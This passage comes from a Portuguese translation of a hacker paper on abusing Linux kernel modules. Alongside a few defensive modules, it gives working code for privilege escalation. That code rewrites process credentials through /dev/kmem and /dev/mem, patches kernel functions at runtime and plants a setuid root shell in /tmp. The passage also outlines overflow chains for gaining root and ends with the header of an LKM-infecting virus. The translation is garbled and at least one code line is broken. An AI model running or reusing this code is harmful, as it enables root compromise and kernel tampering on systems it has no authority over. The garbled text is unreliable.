  file = current->files->fd[fd];

  /*check for UID*/
  if (file->f_inode->i_uid!=current->uid)
  {
   printk("<1>Hard Link Creation denied !\n");
   close(fd);
   return -1;
  }
 }
 else
 {
  kfree(kernel_newname);
  /*everything ok -> the user is allowed to create the hard link*/
  return orig_link(oldname, newname);
 }
}

Deste modo vc tb poderia controlar a criaco de symlink. 

4.3 O /proc Patch permisso (a ideia de route's da Phrack implementado
    como LKM)

Eu j mostrei para vc alguns modos de como esconder algum processo
a ideia de informacao. Route eh diferente quanto ao nosso esconde 
aproximaco. Ele quer limitar o acesso a /proc/ (precisou acesso 
para processar informaco) mudando as permisses de diretorio. 
Assim ele consertou o proc inode. O LKM seguinte far exatamente o 
mesmo sem um patch de kernel static. Se vc carregar isto um usurio
no ser permitido ler o fs de proc, se vc descarrega isto ele ser
capaz. Aqui vamos nos: 

/*very bad programming style (perhaps we should use a function for the
  indode retrieving), but it works...*/
#define __KERNEL__
#define MODULE
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

extern void *sys_call_table[];

int (*open)(char *, int, int);
int (*close)(int);


int init_module(void)                /*module setup*/
{ 
 int fd = 0;
 struct file *file;
 struct inode *ino;
 
 /*again the open(...) way*/
 open = sys_call_table[SYS_open]; 
 close = sys_call_table[SYS_close];

 /*we have to supplie some kernel space data for the systemcall*/
 BEGIN_KMEM
 fd = open("/proc", O_RDONLY, 0); 
 END_KMEM
 printk("%d\n", fd);
 file = current->files->fd[fd];

 /*here's the inode for the proc directory*/
 ino= file->f_inode;

 /*modify permissions*/
 ino->i_mode=S_IFDIR | S_IRUSR | S_IXUSR;

 close(fd);
 return 0;
}

void cleanup_module(void)            /*module shutdown*/
{
 int fd = 0;
 struct file *file;
 struct inode *ino;
 
 BEGIN_KMEM
 fd = open("/proc", O_RDONLY, 0); 
 END_KMEM
 printk("%d\n", fd);
 file = current->files->fd[fd];

 /*here's the inode for the proc directory*/
 ino= file->f_inode;

 /*modify permissions*/
 ino->i_mode=S_IFDIR | S_IRUGO | S_IXUGO;

 close(fd);
}

H pouco carregue este modulo e tente um ps, topo ou tudo,
no funcionara. Todo acesso ao diretrio /proc eh totalmente
negado. Claro que, como root vc ainda eh permitido a ver todo 
processo e qualquer outra coisa; isto eh justo uma permisso, 
conserte para manter seus usurios informados. [Nota: Isto eh 
prtico, implementado p/ modificar inodes 'na mosca' vc deveria
ver muitas possibilidades de como abusar isto.] 

4.4 O Patch securelevel (a ideia de route's da Phrack implementado 
    como LKM)     

O proposito deste patch : Citacao de Route

"Este patch realmente no eh muito um patch. Simplesmente bate o 
securelevel para cima, de 0 para 1. Isto gela o immutable(imutavel) 
e junta pedacos em arquivos, impedindo qualquer um os mudar 
(da interface de chattr normal). Antes de virar isto, vc deveria 
fazer certa chave arquiva immutable, e logfiles juntos. Ainda eh 
possivel abrir o dispositivo de disco cru, porem. Seu hack comum 
e hack de pasta no sabero provavelmente fazer isto ". 

Ok, este aqui eh realmente fcil de implementar como um LKM. 
Nos somos afortunados porque o simbolo responsvel pelo 
securelevel eh publico (veja /proc/ksyms) assim nos podemos 
mudar isto facilmente. Eu no apresentarei um exemplo para 
isto, soh importe um 'secure level'  e fixe isto na funo 
module's init .
 
4.5 O Patch(remendo=atualizacao) de rawdisk

Eu desenvolvi um modo fcil para evita ferramentas como os
manipate-data de THC. Essas ferramentas so usadas atraves
de hackers para procurar no disco rigido o IP origem deles,
q se dirigem ou nome do DNS. Depois de achar isto eles 
modificam ou removem a entrada do disco rigido. Para fazer 
tudo isso eles precisam ter acesso aos arquivos '/dev/*' 
para abrir o rawdisk. Claro que eles soh podem fazer isto 
depois de roota o sistema. 
Assim o que nos podemos fazer sobre isto? Eu achei que o modo
seguinte ajuda prevenir esses ataques [claro que h mil 
modos para derrotar aquela proteco: (]: 

  * calce seu sistema 
  * instale um LKM que previne acesso direto a (/dev/*) para 
    sua partico, e salve seus 'logs'.

Isto funciona pq o sistema (normalmente) soh tem necessidades
a acesso direto para o rawdisk durante o algumas (raramente) 
operacoes. O LKM h pouco intercepta sys_open(...) e filtra o
dev-file precisado. Eu penso que no eh necessrio mostrar como
codificar isto, de uma olhada nas II.4.2). Deste modo vc pode
proteje qlq arquivo '/dev/*'. O problema eh q deste modo ninguem
pode os ter acesso diretamente enquanto o LKM est carregado.
[Nota: h algumas funces que no funcionao/quebram(crash) o 
sistema, mas uma rede normal, ou mailserver deveriam trabalhar 
com este patch.] 

IV. Algumas Ideias Melhores (para hackers) 

1. Truques para bater admin LKMs 

Esta parte nos dar algumas ajudas para hackear o kernel em 
sistemas onde vc tem um paranoico (bom) admin. Depois de 
explicar todos os modos q um admin pode proteger um sistema,
eh muito dificil achar modos melhores para nos (hackers).
Nos precisamos deixar o nosso LKM durante alguns segundos 
para combater essas proteces dificeis. Imagine um sistema 
onde um admin instalou um grande e bom monitor de LKM que 
confere toda aco no sistema. Issu foi mencionado na parte 
II e III. O primeiro modo para nos libertarmos deste LKM 
eh tentando reiniciar o sistema, talvez o admin no tenha
carregado este LKM em um arquivo init. Assim tente algum 
Ataque DoS ou qualquer coisa q funcione. Se vc ainda no 
conseguiu matar este LKM tente olhar alguns arquivos 
importantes, mas tenha cuidado, alguns arquivos podem ser 
protegidos e monitorados (veja apendice A). Se vc realmente
no conseguiu ver onde o LKM est carregado etc, esqueca 
ou corra o risco de instalar um backdoor que vc no pode
esconder (process/file). Mas se um admin realmente usa um
megaLKM, esqueca cara, ele poderia ser realmente bom e vc
tera muita dificuldade. Para akeles que mesmo assim quer
hackear um sistema desses, leia seco 2. 

2. Consertando o kernel inteiro - ou criando o Hacker-OS 

Nota: Esta seco pode soar um pouco fora do topico, mas 
      no fim eu apresentarei uma ideia agradvel (programa
      que foi desenvolvido por Silvio Cesare que vai tb nos 
      ajudar a usar nossos LKMs).Esta seco dar soh um 
      resumo de todo problema do kmem devido ao fato de 
      nos soh precisarmos enfocar na ideia de Silvio 
      Cesare.

Ok, LKM eh algo agradvel. Mas isso se o admin est como o 
descrito em 1. Ele faz tudo para nos impedir de usar nossas 
belas tecnicas de LKM (parte II). Ele consertou o proprio 
kernel dele, p/ fazer o sistema dele, realmente seguro. 
Ele usa um kernel sem apoio a LKM nativo. To agora eh tempo
para fazer nosso ultimo passo: Runtime Kernel Patching. 
As ideias bsicas nesta seco vem de algumas fontes q achei 
(kmemthief etc) e um paper de Silvio Cesare que descreve uma
aproximaco geral p/ modificacao de kernel symbols. Em minha
opinio este tipo de ataque eh algo mais potente, como kernel
hacking.Eu nao sei tudo de kernel de Un*x lah fora, mas esta
aproximacao pode ajudar-lo em muitos sistemas. Esta seco 
descreve o 'Runtime Kernel Patching', somente isso sobre
kernelfile Patching. Todo sistema tem um arquivo que 
representa o kernel, claro. Em sistemas grtis como FreeBSD,
Linux,... eh fcil consertar(patching) um arquivo de kernel, 
mas e quando se trata de um sistema comercial? Eu nunca tentei
isto, mas eu acho que isto eh realmente interessante: Imagine 
uma backdoor que ataca o kernel Patching. Vc soh tem que fazer 
um reboot ou esperar por um (todo sistema as vezes tem que 
reiniciar:). Mas este texto soh se tratar da aproximaco de
runtime. Vc pode dizer que este paper eh chamado de 'Abusando 
de Linux Loadable kernel Modules' e que vc no quer saber como 
consertar o kernel inteiro. Bem esta seco nos ajudar a carregar
LKMs em sistemas que sao muito seguros e q no tem nenhum apoio a
LKM  no kernel. Assim nos aprenderemos algo que nos ajudar com 
nosso LKM abusado hehe. Comecemos com a coisa mais importante,
nos temos que saber se nos queremos fazer RKP(Runtime Kernel 
Patching). O arquivo /dev/kmem, do qual torna isto possivel para 
nos darmos uma olhada (e modificar) toda a memoria virtual(virtual 
memory) de nosso determinado sistema. Nota: Lembre-se que a 
aplicacao de RKP eh util e est na maioria dos casos, se vc 
rooteou um sistema. Somente sistemas inseguros daro aos 
usurios normais acesso a este arquivo.
 
Como eu disse antes, '/dev/kmem' nos d a chance de ver todo 
byte de memoria de nosso sistema (mais Swap). Isto significa
q nos tb podemos ter acesso a memoria inteira o que nos permite
manipular qualquer item de kernel na memoria (porque o kernel eh
soh algum objectcode carregado em memoria de sistema). Lembre-se
do arquivo '/proc/ksyms' que nos mostra todo endereco de um kernel
sysmbol exportado. Assim nos sabemos onde modificar memoria para 
manipular alguns kernel symbols. Demos uma olhada a um exemplo muito 
bsico que eh conhecido ja faz um bom tempo. O seguinte programa 
(user space) leva o endereco task_structure (olhar para kstat em 
/proc/ksyms) e um certo PID. Depois de procurar a estrutura de 
tarefa que representa o PID especificado, modifica todo campo de 
id do usurio para fazer este processo UID=0. Claro que hoje este
programa eh quase inutil, porque a maioria dos sistemas nem mesmo
permite para um usurio normal ler /dev/kmem mas eh uma introduco 
boa em RKP. 

/*Attention : I implemented no error checking!*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*max. number of task structures to iterate*/
#define NR_TASKS	512

/*our task_struct -> I only use the parts we need*/
struct task_struct {
 char a[108];              /*stuff we don't need*/
 int pid;
 char b[168];              /*stuff we don't need*/
 unsigned short uid,euid,suid,fsuid;
 unsigned short gid,egid,sgid,fsgid;
 char c[700];              /*stuff we don't need*/
};


/*here's the original task_structure, to show you what else you can modify
struct task_struct {
 volatile long state;	
 long counter;
 long priority;
 unsigned long signal;
 unsigned long blocked;
 unsigned long flags;
 int errno;
 long debugreg[8]; 
 struct exec_domain *exec_domain;
 struct linux_binfmt *binfmt;
 struct task_struct *next_task, *prev_task;
 struct task_struct *next_run,  *prev_run;
 unsigned long saved_kernel_stack;
 unsigned long kernel_stack_page;
 int exit_code, exit_signal;
 unsigned long personality;
 int dumpable:1;
 int did_exec:1;
 int pid;
 int pgrp;
 int tty_old_pgrp;
 int session;
 int leader;
 int	groups[NGROUPS];
 struct task_struct *p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;
 struct wait_queue *wait_chldexit;
 unsigned short uid,euid,suid,fsuid;
 unsigned short gid,egid,sgid,fsgid;
 unsigned long timeout, policy, rt_priority;
 unsigned long it_real_value, it_prof_value, it_virt_value;
 unsigned long it_real_incr, it_prof_incr, it_virt_incr;
 struct timer_list real_timer;
 long utime, stime, cutime, cstime, start_time;
 unsigned long min_flt, maj_flt, nswap, cmin_flt, cmaj_flt, cnswap;
 int swappable:1;
 unsigned long swap_address;
 unsigned long old_maj_flt;	
 unsigned long dec_flt;		
 unsigned long swap_cnt;	
 struct rlimit rlim[RLIM_NLIMITS];
 unsigned short used_math;
 char comm[16];
 int link_count;
 struct tty_struct *tty; 
 struct sem_undo *semundo;
 struct sem_queue *semsleeping;
 struct desc_struct *ldt;
 struct thread_struct tss;
 struct fs_struct *fs;
 struct files_struct *files;
 struct mm_struct *mm;
 struct signal_struct *sig;
 #ifdef __SMP__
  int processor;
  int last_processor;
  int lock_depth;	
 #endif	
};
*/

int main(int argc, char *argv[])
{
 unsigned long task[NR_TASKS];
 /*used for the PID task structure*/
 struct task_struct current;
 int kmemh;
 int i;
 pid_t pid;
 int retval;

 pid = atoi(argv[2]);

 kmemh = open("/dev/kmem", O_RDWR);
	
 /*seek to memory address of the first task structure*/
 lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);
 read(kmemh, task, sizeof(task));
	
 /*iterate till we found our task structure (identified by PID)*/
 for (i = 0; i < NR_TASKS; i++) 
 {
  lseek(kmemh, task[i], SEEK_SET);
  read(kmemh, &current, sizeof(current));
  /*is it our process?*/
  if (current.pid == pid) 
  {
   /*yes, so change the UID fields...*/
   current.uid = current.euid = 0;
   current.gid = current.egid = 0;
   /*write them back to memory*/
   lseek(kmemh, task[i], SEEK_SET);
   write(kmemh, &current, sizeof(current));
   printf("Process was found and task structure was modified\n");
   exit(0);
  }
 }
}

Nao ha nada de especial neste pequeno programa. Nao ha nenhuma 
novidade em procurar um certo padro em um arquivo e mudar alguns
campos. H muitos programas l fora que fazem a mesma coisa. Como
vc pode ver o exemplo acima no lhe ajuda atacar um sistema, eh 
apenas para demonstraco (ou talvez para alguns sistemas pobres que
permitem para os usurios escrever em /dev/kmem, eu no sei). Do 
mesmo modo, vc pode mudar o module structures responsvel por 
segurar a informaco de kernel's Module. Deste modo vc tb pode 
esconder um modulo, soh por kmem Patching; eu no apresento uma 
implementaco disto, porque eh basico, igual ao programa acima 
(ok, o procurar eh um pouco mais dificil;)). E sobre modificar
uma kernel structure, h alguns programas que fazem coisas iguais
a essa. Mas e quanto as funces? Bem, se vc procurar na internet 
vai logo ver q no h tantos programas que fazem coisas assim. Bem, 
curso que conserta uma funco de kernel (nos faremos coisas mais 
uteis depois) eh um pouco enganador. O melhor modo seria jogar com
a estrutura de sys_call_table que aponte a uma funco completamente
nova feita por nos. Caso contrrio haveria alguns problemas relativos
a tamanho de funco e assim por diante. O exemplo seguinte eh apenas 
um programa muito simples que faz com q todo systemcall no faca nada.
Eu apenas insiro um RET(0xc3)at no comeco do endereco da funco que 
eu obtenho de /proc/ksyms. Deste modo a funco respondera no fazendo
nada imediatamente. 

/*again no error checking*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

/*just our RET opcode*/
unsigned char asmcode[]={0xc3};

int main(int argc, char *argv[])
{
 unsigned long counter;
 int kmemh;

 /*open device*/
 kmemh = open("/dev/kmem", O_RDWR);
	
 /*seek to memory address where the function starts*/
 lseek(kmemh,  strtoul(argv[1], NULL, 16), SEEK_SET);

 /*write our patch byte*/
 write(kmemh, &asmcode, 1):

 close(kmemh);
}

Resumamos o que nos sabemos: Nos podemos modificar qlq kernel 
Sysmbol; isto inclui coisas como sys_call_table[] e qlq outra 
funco ou estrutura. Lembre-se que todo kernel patching soh 
pode ser feito se nos podemos ter acesso a /dev/kmem, mas tb
h modos para proteger este arquivo. De uma olhada em III.5.5.
 
2.1 Como achar Kernel Symbols em /dev/kmem 

Depois desses exemplos bsicos vc deve estar se perguntando, 
como modificar qlq kernel sysmbol e como achar kernel symbols
interessantes. No exemplo citado, foi usado /proc/ksyms para 
adiquirir o endereco que nos precisamos p/ modificar um simbolo
(sysmbol). Mas o que temos nos em sistemas com nenhum apoio a 
lkm construido no kernel, no haver um arquivo /proc/ksyms, 
porque eh soh usado para administraco de modulo (public/ 
available symbols)? E quanto a kernel symbols que no so 
exportados, como nos os modificaremos? Muitas perguntas...
veremos algumas soluces. Silvio Cesare discutiu alguns modos
diferentes de achar kernel symbols (public & non-public ones). 
Ele esbocou que enquanto compilava o kernel um arquivo chamado 
'System.map' eh criado com o mapa de todo Kernel Symbol para um
endereco fixo. Este arquivo soh eh utilizado durante compilaco
para solucionar esses kernel symbols. O funcionamento do sistema
no tem nenhuma necessidade daqueles enderecos de arquivo. Os q 
sao usados para compilaco sao os mesmos q nos podemos usar para 
buscar /dev/kmem. Assim a melhor coisa a fazer seria: 

  * ver System.map para o kernel symbol que vc precisa 
  * leve o endereco que nos achamos 
  * modifique o kernel symbol (estrutura, funcao, ou o q for) 

Coisa bastante fcil. Mas h um problema grande. Todo sistema que
no usa exato nosso kernel terao outros enderecos para os kernel 
symbols deles. E na maioria dos sistemas vc no achar um arquivo 
System.map nos contando todo endereco. Assim o que fazer? Silvio 
Cesare propos usar um 'key search'. Entaun leve, abra seu Kernel,
leia os primeiros 10 bytes (soh um valor fortuito) de um endereco 
de simbolo e os leve como uma chave para procurar o mesmo simbolo 
em outro kernel. Se vc no pode construir uma chave generica para
um certo simbolo, vc pode tentar achar algumas relaces deste 
simbolo com o outro kernel, vc pode criar simbolos com chaves 
genericas . Achar relaces pode ser feito observando os fontes do 
Kernel; deste modo vc tb pode achar o Kernel interessante, os 
simbolos vc poderia modificar (patching). 

2.2 O novo 'insmod' trabalhando sem suporte do Kernel
 
Agora vamos voltar para nosso LKM hacking. Esta seco o dar 
algumas sugestes relativo ao programa de kinsmod de Silvio 
Cesare. Eu esbocarei soh o funcionamento geral. A parte mais
complicada do programa eh o objectcode handling (elf file) e 
seu kernel space mapping. Mas este eh soh um problema de 
header de ELF que no processa nenhum kernel especifico.
Silvio Cesare usou arquivos ELF porque deste modo vc pode 
inserir [normal] LKMs. Tb seria possivel escrever um arquivo
(soh opcodes - > me veja exemplo de RET) e inserindo este 
arquivo seria mais dificil para pode tracar. Para esses 
que realmente querem entender o arquivo ELF que segue eu somei 
o arquivo de Silvio Cesare para este texto (eu tenho tb feito 
isto porque o Silvio Cesare soh quer as fontes/ideias dele sido
distribuido dentro do arquivo inteiro). Agora eh tempo de olhar
as ideias gerais de como inserir LKMs em um sistema sem apoio 
para aquela caracteristica. O primeiro problema para nos que 
queremos inserir codigo (um LKM ou tudo) no kernel eh a 
necessidade por memoria. Nos no podemos levar um endereco 
fortuito e podemos escrever nosso objectcode para '/dev/kmem'. 
Assim onde nos pusermos nosso codigo que no fere de certo modo 
o sistema corrente, no ser removido devido a alguma operaco 
de memoria em espaco de kernel. H um lugar onde nos podemos 
inserir um pouco de codigo, de uma olhada ah figura seguinte 
que mostra a memoria de kernel geral: 

kernel data
...
kmalloc pool 

O 'kmalloc pool' eh usada para distribuico de memoria em espaco 
de kernel (kmalloc(...)). Nos no podemos por nosso codigo nesta 
'pool' porque nos no podemos estar seguros que o espaco de 
endereco para o que nos escrevemos eh novo. Agora vem a ideia de
Silvio Cesare: o kmalloc agrupa bordas em memoria q eh economizado
em memory_start e memory_end que so exportados pelo Kernel (veja 
/proc/ksyms). O ponto interessante sobre isto eh que o endereco de 
comeco (memory_start) no eh exatamente o kmalloc adress do comeco
de pool, porque este endereco eh alinhado ah proxima borda da pgina
de memory_start. So h um pouco de memoria que nunca ser usada 
(entre memory_start e o real comeco de kmalloc pool). Este eh o 
melhor lugar para insirir nosso codigo. Ok esta no eh a historia 
inteira, vc pode reconhecer que no ajustar um LKM util neste 
pequeno Buffer. Silvio Cesare usou um codigo bootstrap, ele pos
neste pequeno buffer; este codigo carrega o LKM atual. Deste 
modo nos podemos carregar LKMs em sistemas sem apoio por isto. 
Por favor leia o paper de Silvio Cesare para uma discusso 
detalhada em tracar um arquivo de LKM de fato (formato ELF) 
em kernel; isto eh um pouco dificil. 

3. Ultimas palavras 

A Seco 2 era agradvel, mas e qaunto a sistemas que no 
permitem acesso ao kmem? Bem, um ultimo modo seria 'kernel
space' de modificacao com ajuda de alguns Kernel Bugs. 
Sempre ha alguns Buffer Overflows mais amarelos e outros 
problemas em Kernel Space. Tb considere modulos conferindo
alguns Bugs. H pouco de uma olhada nos muitos arquivos fonte
do kernel. Ateh mesmo programas user space podem nos ajudar a
modificar o kernel. Atente, que alguns meses atrs um bug 
relativo a svgalib foi achado. Todo programa que usa svgalib 
adquire um level com permissoes de escrita a /dev/mem./dev/mem 
tb pode ser usado para RKP com o mesmo adress de /dev/kmem. 
Assim olhe a lista seguinte, p/ adquirir algumas ideias de 
como fazer RKP em muitos sistemas seguros: 

  * ache um programa que use svgalib 
  * confira a fonte daquele programa a procura de buffer 
    overflows comuns (no deve ser muito dificil) 
  * escreva uma facanha que comece um programa que usa o 
    /dev/mem aberto a level escrita  
  * manipular a estrutura de tarefa apropriada para fazer 
    seu processo UID 0 
  * crie uma shell root
 
Este esquema generico trabalha muito bem (zgv, gnuplot ou alguns
outros exemplos). Para consertar a estrutura de tarefa, algumas 
pessoas usam o seguinte programa (que usa o open write handle) 
por Nergal: 

/* by Nergal */
#define SEEK_SET 0

#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__

#define SIZEOF sizeof(struct task_struct)

int mem_fd;
int mypid;

void
testtask (unsigned int mem_offset)
{
  struct task_struct some_task;
  int uid, pid;
  lseek (mem_fd, mem_offset, SEEK_SET);
  read (mem_fd, &some_task, SIZEOF);
  if (some_task.pid == mypid)   /* is it our task_struct ? */
    {
      some_task.euid = 0;
      some_task.fsuid = 0;      /* needed for chown */
      lseek (mem_fd, mem_offset, SEEK_SET);
      write (mem_fd, &some_task, SIZEOF);
      /* from now on, there is no law beyond do what thou wilt */
      chown ("/tmp/sh", 0, 0);
      chmod ("/tmp/sh", 04755);
      exit (0);
    }
}
#define KSTAT 0x001a8fb8  /*  <-- replace this addr with that of your kstat */
main ()                   /*      by doing strings /proc/ksyms |grep kstat  */
{
  unsigned int i;
  struct task_struct *task[NR_TASKS];
  unsigned int task_addr = KSTAT - NR_TASKS * 4;
  mem_fd = 3;                   /* presumed to be opened /dev/mem */
  mypid = getpid ();
  lseek (mem_fd, task_addr, SEEK_SET);
  read (mem_fd, task, NR_TASKS * 4);
  for (i = 0; i < NR_TASKS; i++)
    if (task[i])
      testtask ((unsigned int)(task[i]));

}

Isto eh apenas um exemplo para mostrar para vc que sempre h um 
modo, vc soh tem que achar ele. Em sistemas com stack execution 
patches, vc poderia procurar buffer overflows de monto ou h 
pouco pule para dentro de alguma library functions (system(...)).
H mil modos... Eu espero que esta ultima seco lhe de algumas
ideias de como proceder. 

V. O prximo futuro: kernel 2.2.x 

1. Principal Diferena para escritores de LKM 

As distros tem um novo Kernel principal Verso 2.2 que traz algumas 
pequenas mudanas na codificao de LKM. Esta parte lhe ajudar a fazer 
a mudana, e esboa as mudanas maiores. 
[Nota: Haver outro lanamento que se concentra no ncleo novo] eu 
mostrarei a voc algumas macros / funes novas que o ajudaro a 
desemvolver LKMs para kernel 2.2. Por um listar exato de todo objeto 
pegado de mudana de uma olhada ao novo Linux/module.h , incle o arquivo 
que era totalmente reescrevido para kernel 2.1.18. 
Primeiro ns olharemos a alguns macros que nos ajudaro a dirigir a 
'System Table' de um modo mais fcil: 

----------------------------------------------------------------------------
|           macro            |              descrio                      |
----------------------------------------------------------------------------
|EXPORT_NO_SYMBOLS;          | este aqui  igual a register_symtab(NULL)   |
|                            | para verses de kernel mais velhas          |
----------------------------------------------------------------------------
|EXPORT_SYMTAB;              | este aqui deve ser definido antes de        | 
|                            | linux/module.h se voc quer exportar alguns |
|                            | smbolos                                    |
----------------------------------------------------------------------------
|EXPORT_SYMBOL(name);        | exporte o smbolo nomeado 'name'            |
----------------------------------------------------------------------------   
|EXPORT_SYMBOL_NOVERS(name); | exporte sem informao de verso            |
----------------------------------------------------------------------------

As funcoes de acesso ao user space tambm foram mudadas um pouco, assim eu os 
listarei aqui (s inclua asm/uaccess.h para os usar): 

----------------------------------------------------------------------------
|funo                      |              descrio                      |
----------------------------------------------------------------------------
| int access_ok (int type, unsigned long addr, | esta funo confere se o  |
| unsigned long size);                         | processo atual  permitido|  
|                                              | ter acesso a addr         |
----------------------------------------------------------------------------
| unsigned long copy_from_user (unsigned long to, | isto  o 'nova' funo |
| unsigned long from, unsigned long len);         | memcpy_tofs            |                                   |
----------------------------------------------------------------------------
| unsigned long copy_to_user (unsigned long to,  | esta  a contraparte de |
| unsigned long from, unsigned long len);        | copy_from_user(...)     |
----------------------------------------------------------------------------
                 
Voc no precisa usar access_ok(...) porque a funo listou eles sobre
cheque nisto. H muitas outras diferenas, mas voc realmente deveria dar 
uma olhada a linux/module.h por um listar detalhado. Eu quero mencionar 
uma ltima coisa. Eu tenho escrito muito stuff no kerneldaemon (kerneld). 
kernel 2.2 no usar qualquer kerneld mais. Usa outro modo de implementar 
o request_module(...) na funo Kernel Space -  chamado 'kmod'. kmod 
totalmente corre em kernel space (nenhum IPC para qlq user space mais). 
Para programadores de LKM nada muda, voc ainda pode usar o 
request_module(...) para carregar mdulos. Assim o infectors de LKM 
tambm podem usar isto em sistemas com kernel 2.2 . Eu cito esta pequena 
secao sobre kernel 2.2, mas no momento eu estou trabalhando em um documento
geral em segurana no kernel 2.2 (especialmente o behaviour de lkm). 
Assim espere por novos lanamentos da THC.Eu at mesmo planejo trabalhar 
em alguns sistemas BSD (FreeBSD, OpenBSD, por exemplo) mas isto ocupa 
alguns meses. 


VI. Ultimas Palavras 

1. A 'historia do LKM' ou 'como fazer um Plug System & Hacking compativel'

Voc pode fikar puto com o modo com q LKMs sao inseguros e por que eles 
so usados de tal modo. Bem, LKMs so projetados para especialmente 
fazer com q a vida dos usuarios seja mais fcil. Linux luta contra a Microsoft, assim 
eles necessitam de alguma maneira fazer do unix velho algo um pouco mais 
atraente e mais fcil. Eles implementam coisas como KDE e outras coisas 
agradveis. Por exemplo, Kerneld foi desenvolvido para fazer module handling 
mais fcil. Mas lembre-se, quanto mais fcil e mais automatizado um sistema
, mais problemas relativo a segurana surgem.  impossvel um sistema 
utilizado por todo o mundo ser bastante seguro. Mdulos so um grande 
exemplo para isto. Microsoft nos mostra outros exemplos: pensando em ActiveX, 
que  (talvez) uma boa idia , com o desgnio de uma seguranca cruel por manter tudo 
taun simples. Portanto queridos desenvolvedores de Linux: Tenha cuidado, e no cometam
o mesmo erro q a Microsoft cometeu, no crie um plug & hack OS compativel.
SEGURANCA ACIMA DE TUDO!
Este texto tambm deveria deixar claro que, o kernel de qualquer sistema deve 
ser protegido da melhor maneira possivel. Isso deve ser impossvel para 
atacantes q modificam o artigo mais importante de seu sistema inteiro. 
Eu deixo esta tarefa para todos desenvolvedores de sistemas ai fora :). 


2. Links para outros Recursos 

Aqui estao alguns Links interessantes sobre LKMs (no s relacionado 
a hack & securiy): 

*** na Internet ***

http://www.linuxhq.com => tudo sobre Linux + kernel agradvel 
http://www.linuxlinks.com => muitos links sobre Linux 
http://www.linux.org => simplesmente fazendo 'propaganda' da pgina do Linux 
http://www.lwn.net => notcias semanais sobre Linux ; muito interessante tambm 
                      h secoes de kernel / security tambem
http://www.phrack.com => leia os artigos 50 & 52 para informaoes interessante 
                         sobre modulos
http://www.rootshell.com => eles tm alguns LKMs 
http://www.geek-girl.com/bugtraq => agradvel / l tinham algumas discusses sobre
                                    segurana de LKM 
http://hispahack.ccc.de => HISPAHACK homepage 
http://r3wt.base.org => THC homepage (artigos, revistas e muitas ferramentas) 
http://www.antisearch.com => um dos melhores sites sobre segurana / hacking de 
                             mquinas, procuras relacionadas
http://www.kernel.org => baixe o kernel e estude-o! 

*** em Livros ***

=> Linux-Kernel-Programming (Addison Wesley) 
Um bom livro mesmo. Eu li a verso alem mas acho q tambm h 
uma verso inglesa. 

=> Linux Device Drivers (O'Reilly)
Um pouco fora do tpico, mas tambm muito 
interessante. O enfoque  mais em escrever para LKMs como 
device drivers.

Reconhecimentos 

Agradecimento por fontes e idias para: 

plaguez, Solar Designer, halflife, Michal Zalewski, Runar Jensen, 
Aleph1, Stealthf0rk/SVAT, FLoW/HISPAHACK, route, Andrew Tridgell, Silvio 
Cesare, Daemon9, Nergal, Van Hauser (especialmente por me mostrar 
alguns Bugs) e para todos esses indivduos sem nome que nos proporcionam as 
idias deles (h tantos)! :)

Greets

grupos: THC, deep, ech0, ADM, =phake = 

pessoas: 

Van Hauser - obrigado por me dar a chance de aprender 
mindmaniac - obrigado por me introduzir ao 'primeiro contato' 

msica de fundo se agrupa (me ajudando a me concentrar em escrever 
:): Neuroactive, Image Transmission, Panic on the Titanic, Dracul 

-----------------------------------------------------------------------

A - Apndice 

Aqui vc vai encontrar alguns codigos. Se o autor do LKM publicado fizer 
alguma nota/texto que seja de interesse, ele entrara aqui tambem.

-----------------------------------------------------------------------

LKM Infector

Nome: moduleinfect.c
Autor: StealthfOrk/SVAT
Descricao: Este eh o primeiro infector de LKM publicado que foi discutido
no II.8. Issu nao eh uma rotina de destruicao, eh apenas um infector,
entao eh experimental, inofensivo.
Link: www.rootshell.com

/* 		SVAT - Special Virii And Trojans - present:
 *
 * -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
 *
 * 0kay guys, here we go...
 * As i told you with VLP I (we try to write an fast-infector)
 * here's the result:
 * a full, non-overwriting module infector that catches
 * lkm's due to create_module() and infects them (max. 7)
 * if someone calls delete_module() [even on autoclean].
 * Linux is not longer a virii-secure system :(
 * and BSD follows next week ...
 * Since it is not needed 2 get root (by the module) you should pay
 * attention on liane.
 * Note the asm code in function init_module().
 * U should assemble your /usr/src/.../module.c with -S and your CFLAG
 * from your Makefile and look for the returnvalue from the first call
 * of find_module() in sys_init_module(). look where its stored (%ebp for me)
 * and change it in __asm__ init_module()! (but may it is not needed)
 *
 * For education only! 
 * Run it only with permisson of the owner of the system you are logged on!!! 
 * 
 * 		!!! YOU USE THIS AT YOUR OWN RISK !!!
 *
 * I'm not responsible for any damage you may get due to playing around with this. 
 *
 * okay guys, you have to find out some steps without my help:
 *
 * 	1. $ cc -c -O2 module.c
 *	2. get length of module.o and patch the #define MODLEN in module.c
 *	3. $ ???
 *   	4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o 
 *	5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
 *	>AND NOW, IF YOU REALLY WANT TO START THE VIRUS:< 
 *	6. $ insmod ???
 * 
 * This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
 * kernel 2.0.33. It works.
 *
 * 	greets  (in no order...)
 * 	<><><><><><><><><><><><>
 *
 * 	NetW0rker	- tkx for da sources
 *	Serialkiller	- gib mir mal deine eMail-addy
 *	hyperSlash	- 1st SVAT member, he ?
 *	naleZ 		- hehehe
 *	MadMan		- NetW0rker wanted me to greet u !?
 *	KilJaeden	- TurboDebugger and SoftIce are a good choice !
 *
 *	and all de otherz
 *
 *	Stealthf0rk/SVAT <stealth@cyberspace.org>
 */

#define __KERNEL__
#define MODULE
#define MODLEN 7104
#define ENOUGH 7
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM   set_fs(old_fs);}


